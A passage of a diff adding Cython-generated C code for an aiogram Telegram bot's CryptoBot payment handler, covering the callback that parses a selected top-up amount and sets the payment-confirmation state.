__pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L16_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 87, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 87, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/cryprobot_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_cryptobot") # <<<<<<<<<<<<<< + * async def process_callback_pay_cryptobot( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_AddTraceback("process_callback_pay_cryptobot", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/cryprobot_pay.py":90 + * + * + * @router.callback_query(F.data.startswith("crypto_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_4process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13cryprobot_pay_4process_amount_selection = {"process_amount_selection", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13cryprobot_pay_4process_amount_selection, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_4process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 90, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 90, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 90, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 90, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 90, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13cryprobot_pay_3process_amount_selection(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_3process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_amount_selection", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 90, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1, __pyx_codeobj__5, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + Py_ssize_t __pyx_t_3; + int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + unsigned int __pyx_t_6; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + int __pyx_t_10; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + Py_UCS4 __pyx_t_14; + PyObject *__pyx_t_15 = NULL; + int __pyx_t_16; + char const *__pyx_t_17; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L5_resume_from_await; + case 2: goto __pyx_L14_resume_from_await; + case 3: goto __pyx_L15_resume_from_await; + case 4: goto __pyx_L16_resume_from_await; + case 5: goto __pyx_L23_resume_from_await; + case 6: goto __pyx_L25_resume_from_await; + case 7: goto __pyx_L26_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 90, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":94 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< + * + * if len(data) != 2: + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_data = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":96 + * data = callback_query.data.split("|", 1) + * + * if len(data) != 2: # <<<<<<<<<<<<<< + * await callback_query.message.answer(" .") + * return + */ + __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 96, __pyx_L1_error) + __pyx_t_4 = (__pyx_t_3 != 2); + if (__pyx_t_4) { + + /* "handlers/payments/cryprobot_pay.py":97 + * + * if len(data) != 2: + * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_6 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_6 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__8}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_6, 1+__pyx_t_6); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 97, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 97, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":98 + * if len(data) != 2: + * await callback_query.message.answer(" .") + * return # <<<<<<<<<<<<<< + * + * amount_str = data[1] + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/cryprobot_pay.py":96 + * data = callback_query.data.split("|", 1) + * + * if len(data) != 2: # <<<<<<<<<<<<<< + * await callback_query.message.answer(" .") + * return + */ + } + + /* "handlers/payments/cryprobot_pay.py":100 + * return + * + * amount_str = data[1] # <<<<<<<<<<<<<< + * try: + * amount = int(amount_str) + */ + __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":101 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + { + __Pyx_ExceptionSave(&__pyx_t_7, &__pyx_t_8, &__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_9); + /*try:*/ { + + /* "handlers/payments/cryprobot_pay.py":102 + * amount_str = data[1] + * try: + * amount = int(amount_str) # <<<<<<<<<<<<<< + * except ValueError: + * await callback_query.message.answer(" .") + */ + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 102, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":101 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + } + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + goto __pyx_L11_try_end; + __pyx_L6_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/cryprobot_pay.py":103 + * try: + * amount = int(amount_str) + * except ValueError: # <<<<<<<<<<<<<< + * await callback_query.message.answer(" .") + * return + */ + __pyx_t_10 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_10) { + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_5, &__pyx_t_2) < 0) __PYX_ERR(0, 103, __pyx_L8_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_2); + + /* "handlers/payments/cryprobot_pay.py":104 + * amount = int(amount_str) + * except ValueError: + * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 104, __pyx_L8_except_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_answer); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 104, __pyx_L8_except_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = NULL; + __pyx_t_6 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_13))) { + __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_13); + if (likely(__pyx_t_12)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_13); + __Pyx_INCREF(__pyx_t_12); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_13, function); + __pyx_t_6 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_12, __pyx_kp_u__9}; + __pyx_t_11 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_6, 1+__pyx_t_6); + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 104, __pyx_L8_except_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_11); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_5; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L14_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_5 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_5); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 104, __pyx_L8_except_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 104, __pyx_L8_except_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":105 + * except ValueError: + * await callback_query.message.answer(" .") + * return # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + goto __pyx_L9_except_return; + } + goto __pyx_L8_except_error; + + /* "handlers/payments/cryprobot_pay.py":101 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + __pyx_L8_except_error:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); + goto __pyx_L1_error; + __pyx_L9_except_return:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); + goto __pyx_L0; + __pyx_L11_try_end:; + } + + /* "handlers/payments/cryprobot_pay.py":107 + * return + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_crypto) + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 107, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L15_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 107, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 107, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":108 + * + * await state.update_data(amount=amount) + * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_crypto) # <<<<<<<<<<<<<< + * + * try: + */ + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_6 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_6 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_11}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_6, 1+__pyx_t_6); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_r = 